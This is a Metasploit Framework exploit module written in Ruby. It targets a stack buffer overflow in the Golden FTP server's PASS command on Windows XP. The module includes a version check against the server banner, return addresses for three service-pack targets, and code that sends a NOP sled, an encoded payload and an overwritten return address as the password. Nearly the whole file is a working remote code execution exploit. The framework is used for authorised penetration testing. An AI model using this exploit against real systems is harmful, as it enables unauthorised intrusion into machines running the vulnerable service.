metasploit-framework/modules/exploits/windows/ftp/goldenftp_pass_bof.rb

96 lines
2.5 KiB
Ruby

#
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'GoldenFTP PASS Stack Buffer Overflow',
'Description' => %q{
This module exploits a vulnerability in the Golden FTP service, using the PASS
command to cause a buffer overflow. Please note that in order trigger the vulnerable
code, the victim machine must have the "Show new connections" setting enabled. By
default, this option is unchecked.
},
'Author' =>
[
'Craig Freyman', #Initial poc on exploit-db with iglesiasgg
'bannedit', #Initial msf module
'Joff Thyer <jsthyer[at]gmail.com>', #Improved msf version
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2006-6576'],
[ 'OSVDB', '35951'],
[ 'BID', '45957'],
[ 'EDB', '16036'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Privileged' => false,
'Payload' =>
{
'Space' => 440,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => ['win'],
'Targets' =>
[
[ 'Windows XP Pro SP3', { 'Ret' => 0x7E45AE4E, } ], #JMP ESI USER32.dll
[ 'Windows XP Pro SP2', { 'Ret' => 0x77D4E23B, } ], #JMP ESI USER32.dll
[ 'Windows XP Pro SP0/SP1', { 'Ret' => 0x77e8157b, } ] #JMP ESI kernel32.dll
],
'DisclosureDate' => 'Jan 23 2011'))
end
def check
connect
disconnect
print_status("FTP Banner: #{banner}".strip)
if banner =~ /Golden FTP Server ready v(4\.\d{2})/ and $1 == "4.70"
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def exploit
shortjmp = make_nops(3) + "\xeb\x20"
nopsled = make_nops(1) * 60
srciplen = Rex::Socket.source_address.length
padding = make_nops(1) * (533 - (srciplen + nopsled.length + payload.encoded.length))
sploit = nopsled
sploit << payload.encoded
sploit << padding
sploit << [target.ret].pack('V')
print_status("Connecting to #{datastore['RHOST']}:#{datastore['RPORT']}")
connect
raw_send(shortjmp + "\n")
send_user(datastore['FTPUSER'])
send_cmd(['PASS', sploit], false)
select(nil,nil,nil,2)
handler
disconnect
end
end